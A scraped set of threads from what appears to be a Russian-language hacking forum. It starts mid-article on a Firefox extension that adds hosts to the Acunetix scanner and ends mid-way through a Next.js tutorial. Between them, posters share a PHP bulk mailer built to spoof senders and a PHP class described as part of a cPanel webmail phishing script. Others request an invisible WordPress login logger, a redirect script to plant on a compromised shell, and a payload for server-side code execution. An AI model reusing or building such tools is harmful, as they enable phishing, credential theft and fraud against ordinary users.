        }
    });

    observer.observe(hostsFrame, {
        childList: true,
        subtree: true,
    });

    browser.runtime.onMessage.addListener((message) => {

        if (message.action == MSG_ACTIONS.highlightHost) {
            highlightHost(message.payload)
        }
 
        return true
 
    });
}

Как и прошлый раз, работаем с обсервером. Но помимо того, что мы отсеиваем все не HTML-элемент, нам нужно отсеить все объекты не содержащие класс “row-space- between”. В ином случае, у нас все пойдет не по плану, так как будут лишние запросы. Например, тот же заголовок.

Осталось добавить функцию окраса в зеленый (highlightHost) и все будет готово. Почему так? Потому что у нас фоновый скрипт отправит сообщение только в том случае, если объект уже существует. Таким образом, мы покрасим только те хосты, которые уже добавлены как таргеты:

JavaScript:Copy to clipboard

function highlightHost(host) {
    let div = document.evaluate(`//div[text()="${host}"]`, document, null, XPathResult.FIRST_ORDERED_NODE_TYPE, null).singleNodeValue.parentElement
    div.style.background = '#b3eeb3'
}

Оптимальным вариантом поиска, конечно же, будет XPath по тексту. Найдя элемент мы переходим к родителю объекта, чтобы окрасить всю строку. Все! Как сказал бы великий мыслитель, мы окрасили строки в те цвета в которые окрасили.

Чтобы реализовать оставшийся функционал, нам потребуется сбегать за костылями. Добавим несколько переменных:

JavaScript:Copy to clipboard

let existsHosts = []
let allHosts = []
let addedButton = false
let countExists = 0

Название каждого говорит само за себя. Да, есть переменная для подсчета количества, хотя можно было бы вычесть длину массива существующих хостов из массива всех хостов, но… работает не трогай. Была ночь, писал код уставший и запутался в асинхронности. Учитывая, что функционал наращивать не планирую, можно и забить. Да-да, именно так и появляются любимые нами баги…

JavaScript:Copy to clipboard

if (window.location.href == "https://localhost:3443/#/targets/add-multiple") {
        mainImportCSV()
    } else if(window.location.href.startsWith('https://localhost:3443/#/scans/')
                && window.location.hash != '#/scans/') {
        allHosts = []
        existsHosts = []
        addedButton = false
        countExists = 0
        updateDiscoveredHosts()
    }

Поменял основной if, добавив сброс переменных. Так как скрипт у нас не перезагружается, а переменные глобальные, нужно следить за их чистотой. В ином случае можно сильно удивиться.

Нам нужно изменить обсервер, который обрабатывает карточку с хостами:

JavaScript:Copy to clipboard

const observer = new MutationObserver((mutations) => {

        for(let mutation of mutations) {
      
            for(let node of mutation.addedNodes) {
                if (!(node instanceof HTMLElement)) continue;
                if (!node.classList.contains('row-space-between')) continue;

                console.log(node.childNodes[0].innerText)
                let host = node.childNodes[0].innerText
                node.style.background = '#dddddd'

                if (!allHosts.includes(host))
                    allHosts.push(host)
          
                browser.runtime.sendMessage({
                    action: MSG_ACTIONS.checkTargetExists,
                    inputField: host,
                    callbackType: MSG_ACTIONS.highlightHost
                })
            }
        }
 
    });

И так же в слушателя добавим код заботливо сохраняющий чекнутые хосты в массив существующих таргетов:

JavaScript:Copy to clipboard

browser.runtime.onMessage.addListener((message) => {

        if (message.action == MSG_ACTIONS.highlightHost) {
            if (!existsHosts.includes(message.payload)) {
                existsHosts.push(message.payload)
                countExists++
            }

            updateTitle(hostsFrame)
            highlightHost(message.payload)
        }
 
        return true
 
    });

Осталось дописать функцию updateTitle, добавив вывод количества новых хостов в заголовок:

JavaScript:Copy to clipboard

function updateTitle(hostFrame, count) {
    element = hostFrame.querySelector('.title')

    if (!element.innerHTML.includes('New Hosts')) {
        element.innerHTML += ` New Hosts <b>${allHosts.length - countExists}</b>`
    }else {
        element.innerHTML = element.innerHTML.replace(/<b>\d<\/b>/, `<b>${allHosts.length - countExists}</b>`)
    }
 
}

Вуаля, теперь у нас поменялся заголовок и мы видим количество новых хостов. Ну не красота ли? Нет, так как мне нужна кнопка!!!

Код добавления кнопки можно много куда запихать, но я решил не заморачиваться и ввернул его прямо в изменение заголовка. В целом, ничего необычного. Просто кнопка, просто стили, просто назначение события.

JavaScript:Copy to clipboard

function updateTitle(hostFrame, count) {
    if (!addedButton) {
        console.log('Create button')
        let button = document.createElement('button')
        button.innerText = 'Add All'
        button.style.padding = '7px'
        button.style.background = '#3f3e49'
        button.style.color = 'white'
        button.style.border = 'none'
        button.style.fontWeight = 'bold'
        button.addEventListener('click', event => {
            event.preventDefault() 
            let newHosts = [...new Set(allHosts)].filter(item => !existsHosts.includes(item)) 
            browser.runtime.sendMessage({
                action: MSG_ACTIONS.appendAllNewHosts,
                hosts: newHosts
            })
      
        })
        document.querySelectorAll('.card-header')[3].append(button)
        addedButton = true
    }

    ...
 
}

Обратите внимание, что в глобальном объекте MSG_ACTIONS, появилось новое свойство. Вот как выглядит объект:

JavaScript:Copy to clipboard

const MSG_ACTIONS = {
    loadData: 'loadData',
    saveData: 'saveData',
    clearData: 'clearData',
    saveAndInit: 'saveAndInit',
    updateProfiles: 'updateProfiles',
    getTargetsFromStorage: 'getTargetsFromStorage',
    getTargetsFromAPI: 'getTargetsFromAPI',
    getTargetsInfo: 'getTargetsInfo',
    getTargetDetails: 'getTargetDetails',
    createTarget: 'createTarget',
    createTargetAndScan: 'createTargetAndScan',
    createNewScan: 'createNewScan',
    checkTargetExists: 'checkTargetExists',
    highlightInput: 'highlightInput',
    highlightHost: 'highlightHost',
    appendAllNewHosts: 'appendAllNewHosts'
}

Осталось исправить фоновые скрипты. Сначала добавим обработку еще одного типа сообщений:

JavaScript:Copy to clipboard

browser.runtime.onMessage.addListener(async (data, sender, sendResponse) => {

    switch(data.action) {
        …
        case MSG_ACTIONS.appendAllNewHosts:
            appendManytargets(data.hosts)
            return true
    }

    return true
})

Кайфушка в том, что нам почти ничего писать и не нужно. Только функцию-обертку для appendManytargets.

JavaScript:Copy to clipboard

async function appendManytargets(targets) {

    targets.forEach(async target => {
        const newTarget = await createTarget(false, target)

        let tabs = await browser.tabs.query({
            active: true,
            currentWindow: true
        })
 
        tabs.forEach(async tab => browser.tabs.sendMessage(
            tab.id,
            {
                action: MSG_ACTIONS.highlightHost,
                payload: target
            }
        ))
    })
}

Причем, как вы видите, большая часть кода это отправка сообщения. Точно такая же отправка сообщения, как и в checkTargetExists. По хорошему, нужно вынести этот функционал и получить две отдельных функции, сильно сократив код:

JavaScript:Copy to clipboard

async function sendMessageToActiveTab(callbackType, payload) {
    let tabs = await browser.tabs.query({
        active: true,
        currentWindow: true
    })
    tabs.forEach(async tab => browser.tabs.sendMessage(
        tab.id,
        {
            action: MSG_ACTIONS[callbackType],
            ...payload
        }
    ))
}

async function appendManytargets(targets) {
    targets.forEach(async target => {
        const newTarget = await createTarget(false, target)
        await sendMessageToActiveTab(MSG_ACTIONS.highlightHost, {
            payload: target
        })
    })
}

async function checkTargetExists(targetURL, callbackType) {
    let {hostname} = new URL(targetURL)
    let targets = await getTargetsByHostname(hostname)
    if (!targets.length) return
    await sendMessageToActiveTab(MSG_ACTIONS[callbackType], {
        payload: targetURL
    })
    return true
}

Мы получили достаточно компактный и красивый код. Но самое главное, он полностью рабочий. Знали бы вы с каким нетерпением я нажал кнопку “Add All”.

Как пользоваться расширением?​

1. Добавить расширение в Firefox.
2. Получить ключ API, перейдя по адресу https://localhost:3443/app/profile
3. Сохранить ключ в настройках расширения
1731663801049.png

4. Выбрать дефолтный профиль сканирования и нажать кнопку “Save”
1731663817421.png

5. Закрепить иконку на тулбаре. На интересующем сайте кликнуть по ней, далее все интуитивно понятно. Если таргетов список, выбрать интересующий. Если таргета нет, создать новый или создать новый и запустить сканирование. В общем, все интуитивно понятно.

Соответственно, чтобы работали фишки связанные с интерфейсом, ничего не требуется. Оно работает само.

Вместо заключения​

Надеюсь получилось не сухо, а вполне интересно и полезно. В статье мы прошлись, как по уже осужденным в прошлой статье моментам, но в практическом применении. Так и по, в некоторых смыслах, новым концепциями вроде MutationObserver и вмешательству в существующий интерфейс веб-приложения. Но главное, на выходе у нас получился вполне рабочий инструмент, который каждый может спокойно масштабировать и улучшить. К сожалению, на мой взгляд. Acunetix имеет отвратительнейший и слабоинформативный интерфейс. Разрабатывая подобные решения для собственного использования или “на заказ”, можно значительно улучшить ситуацию.

Например, с теми же хостами. Кому-то может показаться мелочью. Но мне, когда ты сидишь и пытаешься разобраться с пачкой из 200 найденных хостов…. Копируешь их, приводишь к правильному для окуня CSV, после пытаешься понять какие из них уже есть в окуне, а каких нет… А теперь. вместо этого, кликаешь на одну кнопку и через минуту у тебя уже все эти хосты перебраны, все новые добавлены. Согласитесь, разница существенная.

Да, над расширением можно работать и работать. Например, можно добавить кнопку “Add & Scan”, чтобы все новые хосты сразу летели в сканирование. Причем, код почти весь уже есть. Нужно просто скопировать функцию добавления хостов и к каждому добавлению прилепить запуск сканирования. Или, как вариант, можно удалить стандартную кнопку “Create target” и добавить свою. Которая будет фоном добавлять или же добавлять и открывать новую вкладку с созданным таргетом. Сами знаете, как бесит прыгать туда-сюда, когда пытаешься обнаруженные таргеты добавлять.

Статья вышла случайно. У меня была готовая на 99% общая статья про обнаружение уязвимостей типа XSS, SSTI и т.д. Про изменение интерфейсов и про запуск сторонних приложений из расширения… Но когда я понял, что один из примеров, посвященный Acunetix, можно превратить в действительно интересный инструмент… в общем, надеюсь вы тоже довольны полученным материалом. Ту же статью я тоже выложу в ближайшие дни. Нужно только придумать интересный пример, взамен Acunetix.

[Smart Contract ] can someone explain what is this JS file please
ID: 67668b27b4103b69df375d48
Thread ID: 69681
Created: 2022-07-05T10:27:31+0000
Last Post: 2022-07-18T19:44:06+0000
Author: jaroule
Replies: 7 Views: 561

hello guys

im not very familiar with js but i wonder to know if this is a crypt or something else for this js file .

the link: https://attentionbranchethnic.pages.dev/child.js

thank you so much in advance

Boiler Plate Web App with Working login, signup and auth
ID: 67668b27b4103b69df375d42
Thread ID: 72533
Created: 2022-09-01T12:22:32+0000
Last Post: 2022-09-01T12:22:32+0000
Author: Dreaded Launch
Replies: 0 Views: 559

DOWNLOAD BOTTOM OF DISCUSSION

Here is a boiler plate web app you can use, It has a working back end and front end. It is easy to understand because of all the comments too, This was made using RedWoodJS (Full stack JS FW). I have set up the database for you and you can run it locally to test it our, make changes etc. It also updates on any new changes it detects so its a "live page" if you want to call it that.

What you will need to run redwood:
Yarn
GitBash or anything that can run Yarn

File Structure:
(Taken from docs)
├── api
│ ├── db
│ │ └── schema.prisma
│ ├── dist
│ ├── src
│ │ ├── directives
│ │ │ ├── requireAuth
│ │ │ └── skipAuth
│ │ ├── functions
│ │ │ └── graphql.js
│ │ ├── graphql
│ │ ├── lib
│ │ │ ├── auth.js
│ │ │ ├── db.js
│ │ │ └── logger.js
│ │ └── services
│ └── types

├── scripts
│ └── seed.js

└── web
├── public
│ ├── favicon.png
│ ├── README.md
│ └── robots.txt
└── src
├── components
├── layouts
├── pages
│ ├── FatalErrorPage
│ │ └── FatalErrorPage.js
│ └── NotFoundPage
│ └── NotFoundPage.js
├── App.js
├── index.css
├── index.html
└── Routes.js
Explanation:
At the top level we have three directories, api, scripts and web. Redwood separates the backend (api) and frontend (web) concerns into their own paths in the codebase. (Yarn refers to these as "workspaces". In Redwood, we refer to them as "sides.") When you add packages going forward you'll need to specify which workspace they should go in.
scripts is meant to hold any Node scripts you may need to run from the command line that aren't directly related to the api or web sides. The file that's in there, seed.js is used to populate your database with any data that needs to exist for your app to run at all (maybe an admin user or site configuration).

The /api Directory

Within api there are four directories:

  • **db contains the plumbing for the database:

    • schema.prisma contains the database schema (tables and columns)
    • After we add our first database table there will also be a SQLite database file named dev.db and a directory called migrations created for us. migrations contains the files that act as snapshots of the database schema changing over time. **
  • dist contains the compiled code for the api side and can be ignored when developing.

  • **src contains all your backend code. api/src contains five more directories:

    • directives will contain GraphQLschema directives for controlling access to queries and transforming values.
    • functions will contain anylambda functions your app needs in addition to the graphql.js file auto-generated by Redwood. This file is required to use the GraphQL API.
    • graphql contains your GraphQL schema written in a Schema Definition Language (the files will end in .sdl.js).
    • lib contains a few files:auth.js starts as a placeholder for adding auth functionality and has a couple of bare-bones functions in it to start, db.js instantiates the Prisma database client so we can talk to a database and logger.js which configures, well, logging. You can use this directory for other code related to the API side that doesn 't really belong anywhere else.
    • services contains business logic related to your data. When you 're querying or mutating data for GraphQL (known as resolvers), that code ends up here, but in a format that's reusable in other places in your application. **
  • And finally types contains automatically compiled GraphQL types and can be ignored during development

That 's it for the backend.

The /web Directory​

  • **public contains assets not used by React components (they will be copied over unmodified to the final app 's root directory):

    • favicon.png is the icon that goes in a browser tab when your page is open (apps start with the RedwoodJS logo).
    • README.md explains how, and when, to use the public folder for static assets. It also covers best practices for importing assets within components via Webpack. You can alsoread this README.md file on GitHub.
    • robots.txt can be used to control what web indexers areallowed to do. **
  • **src contains several subdirectories:

    • components contains your traditional React components as well as Redwood Cells (more about those soon).

    • layouts contain HTML/components that wrap your content and are shared across Pages.

    • **pages contain components and are optionally wrapped inside Layouts and are the "landing page" for a given URL (a URL like /articles/hello-world will map to one page and /contact-us will map to another). There are two pages included in a new app:

      • NotFoundPage.js will be served when no other route is found (see Routes.js below).
      • FatalErrorPage.js will be rendered when there is an uncaught error that can 't be recovered from and would otherwise cause our application to really blow up (normally rendering a blank page). **
    • App.js the bootstrapping code to get our Redwood app up and running.

    • index.css is a good starting place for custom CSS, but there are many options (we likeTailwindCSS which, believe it or not, may not require you to write any custom CSS for the life of your app!)

    • index.html is the standard React starting point for our app.

    • Routes.js the route definitions for our app which map a URL to a Page. **

We 'll dip in and out of these directories and files (and create some new ones) as we work through the tutorial.

Take this and do whatever you want with it, Make a website, Test your skills or whatever. I'm pretty sure the FW supports payment gateways too like stripe via the dev keys.

Download:

Hidden content for authorized users.

[ Gofile - Free file sharing and storage platform

](https://gofile.io/d/PqqvRi)

Gofile is a free file sharing and storage platform. You can store and share your content of any type without any limit.

gofile.io gofile.io

Looking for a Telegram BOT Coder
ID: 67668b27b4103b69df375d5b
Thread ID: 59623
Created: 2021-12-03T13:41:20+0000
Last Post: 2022-02-21T14:15:26+0000
Author: Kay2
Replies: 4 Views: 556

Hello all, I 'm looking for an experienced coder who has worked with VOIP / SIP (Asterisk & Freepbx)
To create a telegram bot that forwards calls to another number.
Please leave your telegram or discord below.
Thanks

Вопрос по инжектированию JS, со строго настроенным CSP.
ID: 67668b27b4103b69df375cec
Thread ID: 107212
Created: 2024-02-01T11:02:55+0000
Last Post: 2024-02-02T14:02:46+0000
Author: tempUser
Replies: 5 Views: 553

Приветствую! Может кто-нибудь подсказать, как инжектировать js скрипт(который представлен в виде строки, т.е. выполнить код из строки), из контент скрипта расширения, в сайт со строго настроенным CSP. Манифест расширения, третьей версии.

Basic PHP smtp bulk mailer with few improvements
ID: 67668b27b4103b69df375d14
Thread ID: 90287
Created: 2023-06-12T11:26:05+0000
Last Post: 2023-07-01T16:30:01+0000
Author: miamoder
Replies: 2 Views: 553

Below is a basic construction of SMTP bulk mailing script with email spoof capabilities. Can definitely be improved. This is contributory

PHP:Copy to clipboard

<?php
$to = "recipient@outlook.com";
$from = "elonmusk@tesla.com";
$subject = "Important Message";
$message = "hello xss.";

$headers = "From: $from" . "\r\n" .
    "Reply-To: $from" . "\r\n" .
    "X-Mailer: PHP/" . phpversion();

$smtpServer = "smtp.example.com";
$smtpPort = 25;
$username = "your_username";
$password = "your_password";

$smtpConn = fsockopen($smtpServer, $smtpPort, $errno, $errstr, 30);
if (!$smtpConn) {
    die("SMTP connection failed: $errstr ($errno)");
}

fputs($smtpConn, "EHLO $smtpServer\r\n");
fputs($smtpConn, "AUTH LOGIN\r\n");
fputs($smtpConn, base64_encode($username) . "\r\n");
fputs($smtpConn, base64_encode($password) . "\r\n");

$recipientList = array(
    "abc1@gmail.com",
    "abc2@outlook.com",
    "abc3@aol.com"
);

foreach ($recipientList as $recipient) {
    fputs($smtpConn, "MAIL FROM: <$from>\r\n");
    fputs($smtpConn, "RCPT TO: <$recipient>\r\n");
    fputs($smtpConn, "DATA\r\n");
    fputs($smtpConn, "Subject: $subject\r\n");
    fputs($smtpConn, "To: $recipient\r\n");
    fputs($smtpConn, "From: $from\r\n");
    fputs($smtpConn, "\r\n");
    fputs($smtpConn, "$message\r\n");
    fputs($smtpConn, ".\r\n");
}

fputs($smtpConn, "QUIT\r\n");
fclose($smtpConn);
?>
Требуется программист для реверс-прокси.
ID: 67668b27b4103b69df375cee
Thread ID: 105767
Created: 2024-01-13T21:43:25+0000
Last Post: 2024-01-14T10:32:48+0000
Author: Peastat
Replies: 1 Views: 553

Здравствуйте, мне требуется программист для реверс-прокси сайта.
Требуется человек с опытом и знаниями, по всем вопросам и с предложениями в ЛС.

Вывод общего значения
ID: 67668b27b4103b69df375d61
Thread ID: 61165
Created: 2022-01-10T20:29:30+0000
Last Post: 2022-01-10T22:57:26+0000
Author: blackteam007
Replies: 8 Views: 548

Всем привет есть проблемка нужна помощь тех кто понимает это:

Вообщем есть панелька на php с бд в базе есть столбец в который по id прописываются числовые значения
вывести общее значения я вывел но не совсем правильно вывод сделан через print_r но выводится оно вот так ( Array ( [SUM(pole)] => 336 ) ) как сделать что бы выводились только цифры?

Code:Copy to clipboard

  $mysqli = @new mysqli('localhost', 'root', 'toor', 'test');
  if (mysqli_connect_errno()) {
    echo "Подключение невозможно: ".mysqli_connect_error();
  }
  $result_set = $mysqli->query("SELECT sum(pole) FROM name");
  while ($row = $result_set->fetch_assoc()) {
    print_r($row);
    echo "<br />";

  }
 
  $result_set->close();
  $mysqli->close();
Есть у кого redirect скрипт для шелла ?
ID: 67668b27b4103b69df375ce2
Thread ID: 109986
Created: 2024-03-08T17:34:15+0000
Last Post: 2024-03-10T20:10:05+0000
Author: SSHUSER
Replies: 1 Views: 546

Нужен редирект скрипт для залива на шелл. Желательно который редиректит раз в 24часа

Проблема с web3 javascript
ID: 67668b27b4103b69df375d0f
Thread ID: 87744
Created: 2023-05-11T15:36:47+0000
Last Post: 2023-07-10T10:40:51+0000
Author: D0gger
Replies: 3 Views: 534

del

Simple PHP class to detect the cPanel webmail login URL of a cPanel domain
ID: 67668b27b4103b69df375ced
Thread ID: 105311
Created: 2024-01-08T07:48:54+0000
Last Post: 2024-01-15T11:56:53+0000
Author: pixiedust
Replies: 4 Views: 532

Hello guys,

Today I decided to share with you all a simple PHP class that detects the cPanel webmail login URL of a cPanel domain. It is a little subset of my cPanel webmail login phishing script that shows a user the cPanel password reset link.

Here is the code below:

PHP:Copy to clipboard

<?php
namespace Pixiedust\Cpanel\Webmail\Login;

class Url\Detector
{
    public function __construct()
    {
        if ($_SERVER['REQUEST_METHOD'] == 'GET') {
            if (isset($_GET['domain']) && !empty($_GET['domain'])) {
                $domain = $_GET['domain'];

                $arr = [
                    'http://webmail.' . $domain,
                    'http://mail.' . $domain,
                    'http://' . $domain . ':2096',
                    'http://' . $domain . '/webmail',
                    'https://webmail.' . $domain,
                    'https://mail.' . $domain,
                    'https://' . $domain . ':2096',
                    'https://' . $domain . '/webmail',
                ];

                foreach ($arr as $url) {
                    if ($this->isCpanelUrl($url)) {
                        echo $url;
                        break;
                    }
                }
            }
        }
    }

    private function isUrl($url)
    {
        if (!$url || !is_string($url) || !preg_match('/^http(s)?:\/\/[a-z0-9-]+(.[a-z0-9-]+)*(:[0-9]+)?(\/.*)?$/i', $url)) {
          return false;
        }

        return true;
    }

    private function isCpanelUrl($url = '')
    {
        if (!$this->isUrl($url)) {
            return false;
        }

        $ch = curl_init($url);
        curl_setopt($ch, CURLOPT_HEADER, true);
        curl_setopt($ch, CURLOPT_NOBODY, true);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
        curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
        $result = curl_exec($ch);
        $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        curl_close($ch);

        if ($http_code != '200') {
            return false;
        }

        preg_match_all('/^Set-Cookie:\s*([^;]*)/mi', $result, $matches);

        $cookies = array();
        foreach ($matches[1] as $item) {
          parse_str($item, $cookie);
          $cookies = array_merge($cookies, $cookie);
        }

        $arr = array('webmailrelogin', 'webmailsession', 'roundcube_sessid', 'roundcube_sessauth', 'roundcube_cookies');
        foreach ($arr as $value) {
            if (array_key_exists($value, $cookies)) {
                return true;
            }
        }
    }
}

Feel free to use and advance it

Как можно найти диплинк (deeplinks) с веб страницы
ID: 67668b27b4103b69df375cb5
Thread ID: 124305
Created: 2024-10-07T23:57:45+0000
Last Post: 2024-10-08T22:56:38+0000
Author: busyseller
Replies: 2 Views: 530

Не могу понять как как вытащить диплинк из веб страницы, которая ведет в приложение банка. На 3 платежных системах увидел кнопку, которая появляется только для мобильной версии сайта и при нажатии на нее идет перенаправление в приложение Сбербанка, где уже введены данные для оплаты. Обнаружил еще то, что все 3 платежных системы (их платежные формы) используют именно отдельную кнопку, которая сильно выделяется из дизайна сайта, на некоторых идет прям редирект на отдельную страницу, где только эта кнопка расположена. Оплата является не официальной, там идет оплата по номеру счета сберабанк, но замаскировано как sberpay

Хочу понять, как это сделано и сделать такую же, кто сможет помочь, напишите в тг - тыкай сюда
(ПЛАТНО)

Is there anyway I can make a crypto payment system using Node.JS?
ID: 67668b27b4103b69df375cfd
Thread ID: 101114
Created: 2023-10-27T18:35:27+0000
Last Post: 2023-10-29T06:34:29+0000
Author: DPRS
Replies: 6 Views: 526

I don't know PHP and can't exactly find any decent sources to help me out with this task. I have found some but they require the use of third party type api's which is something I want to avoid.

Any help is appreciated.

Интересует консультация с кодером (PHP)
ID: 67668b27b4103b69df375d03
Thread ID: 99542
Created: 2023-10-06T20:49:42+0000
Last Post: 2023-10-06T21:09:33+0000
Author: FunnyMan3399
Replies: 1 Views: 525

Интересует консультация с кодером по направлению web трекинга на сайтах (PHP). Я для не сложных задач использую WP (https://wordpress.org/)
Дизайн мало играет роль, а вот отслеживание данных и метрики по максимуму и интеграция через домен/ip/плагин крайне интересно. tg @mod_tlg

САЙТ - специфика финансового наворота
ID: 67668b27b4103b69df375d01
Thread ID: 99790
Created: 2023-10-10T14:12:45+0000
Last Post: 2023-10-14T15:43:48+0000
Author: 4grad
Replies: 1 Views: 519

**Разработчик уже взялся за написание сайта
ТАК же ищу разрабов по БОТАМ ТЕЛЕГИ идея весьма интересная но не сказал бы что слишком сложная Дедик для самомго бота есть только VDS OC разраб пока меня меняет и настраивает панель под линкус

ОН - сказал найти тех кто больше знается в финансовой части как СИСТЕМА ПЛАТЕЖА И БАЛАНС НА САМОМ САЙТЕ ХОЛД УДЕРЖАНИЕ СРЕДСТВ ЗАМОРОЗИТЬ СРЕДСТВА ИДЕЯ КАК ЭТО РЕАЛИЗОВАТЬ
НАПИШУ В САМОМ ТЕЛЕГРАМЕ ЗАПРАШИВАЮ К ОБСУЖДЕНИЮ ТОЛЬКО В ТГ - напишите в ЛС ваши контакты продолжим там**

php echo
ID: 67668b27b4103b69df375d60
Thread ID: 61167
Created: 2022-01-10T22:14:50+0000
Last Post: 2022-01-11T19:05:57+0000
Author: samit
Replies: 5 Views: 516

Есть php script:

что можно внести в значение поля description таблицы, чтобы полезная нагрузка, например типа или system("pwd") выполнилась на стороне сервера?

looking wp login page logger
ID: 67668b27b4103b69df375d06
Thread ID: 97223
Created: 2023-09-03T21:46:55+0000
Last Post: 2023-09-03T21:46:55+0000
Author: blackh4t
Replies: 0 Views: 514

hi guys
i looking for wp login page logger php code
but invisible for long time work ..

thanks alot

фронт криптокошелёк
ID: 67668b27b4103b69df375d77
Thread ID: 58561
Created: 2021-11-06T03:23:24+0000
Last Post: 2021-11-08T19:58:02+0000
Author: koshak
Replies: 4 Views: 503

Хочется создать свой криптовалютный кошелёк на фронте для того, чтобы в будущем найти работу в этой сфере, который бы делал BTC кошелёк + хранил баланс + принимал баланс + отсылал его. Если с API к ценам валют всё понятно, то о создании кошелька не нашел ровным счётом ничего. Пожалуйста, помогите с ресурсами/советами.

Помощь с JS
ID: 67668b27b4103b69df375d81
Thread ID: 53946
Created: 2021-07-13T09:36:39+0000
Last Post: 2021-07-13T09:36:39+0000
Author: Casque17
Replies: 0 Views: 495

Приветствую, помогите пожалуйста с заданием.

На javascript надо написать простенькую игру – чеканить мячик.
Белая страница без всего, границы окна браузера – это границы площадки, соударяясь с которыми мячик отскакивает (линейно).
Везде также действует линейная гравитация вниз, т.е. мячик стремиться упасть на пол.

Мячик – красный круг любого диаметра. Нажимая на него – мы как бы его ударяем в это место. Т.е. нажали снизу – пнули вверх, нажали слева – пнули вправо, нажали справа-снизу, пнули вверх-влево.
То есть пинаем – он ударяется о стенку, пытается упасть, мы его должны опять пнуть. Как при обычной чеканке мячика.

Как усложнение – в середине экрана находится треугольник (желательно произвольного размера) от которого мячик тоже отскакивает соударяясь.

Click to expand...

Вот такой код уже написан:

JavaScript:Copy to clipboard

let canvas = document.getElementById('myCanvas');
let ctx = canvas.getContext("2d");
let ballRadius = 30;
let ball;
let x = canvas.width/2;
let y = canvas.height-30;
let dx = 1; // Здесь указывается по сути скорость движения
let dy = 1; // 0 будет означать, что скорость нулевая.
ctx.fillStyle = "#FF0000";

canvas.onclick = e => {
    if(ctx.isPointInPath(ball, e.offsetX, e.offsetY)){
            requestAnimationFrame(draw); // Здесь можно просто draw()
    }
}

function drawBall() {
    ball = new Path2D();
    ball.arc(x, y, ballRadius, 0, Math.PI*2);
    ctx.fill(ball);
}

function draw() {
    ctx.clearRect(0, 0, canvas.width, canvas.height);
    drawBall();
    
    if(x + dx > canvas.width-ballRadius || x + dx < ballRadius) {
        dx = -dx;
    } if(y + dy > canvas.height-ballRadius || y + dy < ballRadius) {
        dy = -dy;
    }
    
    x += dx;
    y += dy;
    
    requestAnimationFrame(draw); // Рекурсивный вызов функции draw по готовности браузером рендерить новый кадр
}

drawBall(); // Изначально отрисовываем сам круг, а только при клике - вызываем анимацию

<canvas id="myCanvas" width="480" height="320"></canvas> <-- html
canvas { background: #fff; } <-- css

Смещение строк в бинарнике на PHP
ID: 67668b27b4103b69df375d44
Thread ID: 71618
Created: 2022-08-13T13:45:07+0000
Last Post: 2022-08-17T09:57:20+0000
Author: bomboos
Replies: 1 Views: 490

Друзя, приветствую всех!
Подскажите, есть-ли реализация смещения строк в бинарном файле, на PHP. Задача менть хеш файла. Просто дописать пустот в файл не подходит.

Мозги напрокат: Ваш новый репетитор не пьёт кофе, но всё равно бодрый
ID: 67668b27b4103b69df375caa
Thread ID: 127277
Created: 2024-11-19T21:21:31+0000
Last Post: 2024-11-19T21:21:31+0000
Author: hackeryaroslav
Prefix: Статья
Replies: 0 Views: 489

Авторство: hackeryaroslav

Источник:xss.is

Всем привет! Сегодня мы погрузимся в веб-разработку. Понимаю, что в этой сфере всё меньше кажется интересным, но я хочу показать вам, что писать код на таком фреймворке, как Next.js, и связывать его с ИИ — это действительно увлекательно.

Итак, что мы сегодня сделаем? Давайте разберёмся:

Screenshot 2024-11-19 205457.pngScreenshot 2024-11-19 205753.png
Screenshot 2024-11-19 205806.png
Screenshot 2024-11-19 205818.png
Screenshot 2024-11-19 205835.png
Screenshot 2024-11-19 210110.png

Видео демо работы:

https://imgur.com/a/lMYOvVn

Всё, что мы любим: красивый дизайн, анимированные элементы, динамический контент. Да, это не выглядит слишком грандиозно, и предстоит ещё кое-какая работа, но, по крайней мере, крепкий фундамент уже заложен. Так давайте приступим, друзья!

Структура проекта:​

Выглядит это следующим образом:

Code:Copy to clipboard

|-- .env.local
|-- components.json
|-- next.config.ts
|-- package.json
|-- postcss.config.mjs
|-- tailwind.config.js
|-- tailwind.config.ts
|-- tsconfig.json
|-- src
  |-- lib
    |-- utils.ts
  |-- styles
    |-- globals.css
  |-- types
    |-- index.ts
  |-- utils
    |-- ai.ts
    |-- cache.ts
    |-- progressAnalytics.ts
    |-- spaced-repetition.ts
  |-- components
    |-- NotesEditor.tsx
    |-- Quiz.tsx
    |-- StudyMetrics.tsx
    |-- ui
      |-- button.tsx
      |-- card.tsx
      |-- input.tsx
      |-- progress.tsx
      |-- scroll-area.tsx
      |-- tabs.tsx
  |-- pages
    |-- index.tsx
    |-- _app.tsx
    |-- api
      |-- generate-content.ts
      |-- optimize-content.ts

Что такое фреймворк NextJS?​

Прежде чем приступить к объяснению логики, структуры и кода в целом, нам нужно понять, как работает Next.js.
Next.js — это фреймворк для React, который позволит улучшить производительность благодаря поддержке серверного рендеринга с помощью которого рендеринг страницы не будет происходить на устройстве пользователя. Он позволяет заранее генерировать страницы на этапе сборки с помощью getStaticProps и getStaticPaths, что ускоряет загрузку. Также можно использовать серверный рендеринг с getServerSideProps, для того чтобы динамически загружать данные на каждом запросе.

У Next.js еще множество плюсов позволяющих упростить и ускорить разработку, например поддержка API-запросов прямо в приложении через папку pages/api или поддержка автоматического разделения кода на части.

Начало разработки​

Прежде всего, давайте разберем папку компонентов проекта:

Code:Copy to clipboard

|-- components
    |-- NotesEditor.tsx
    |-- Quiz.tsx
    |-- StudyMetrics.tsx
    |-- ui
      |-- button.tsx
      |-- card.tsx
      |-- input.tsx
      |-- progress.tsx
      |-- scroll-area.tsx
      |-- tabs.tsx

Для начала рассмотрим папку ui. В ней находятся компоненты обычных элементов страницы — кнопки, карты, табы и так далее. На самом деле, это часть библиотеки ShadCN — новой библиотеки, которая стала достаточно популярна у разработчиков из-за своей простоты. Примеры компонентов можно посмотреть на сайте: https://ui.shadcn.com.

Её установка достаточно простая, и документация подробно объясняет процесс. В итоге мы получим дополнительный файл components.js с настройками и папку ui с компонентами, с которыми будем работать. Пример добавления компонента: npx shadcn@latest add button

Разбирать эти файлы мы не будем, но я вставлю один из них сюда — кнопку.

JavaScript:Copy to clipboard

import * as React from "react";
import { Slot } from "@radix-ui/react-slot";
import { cva, type VariantProps } from "class-variance-authority";


import { cn } from "@/lib/utils";


const buttonVariants = cva(
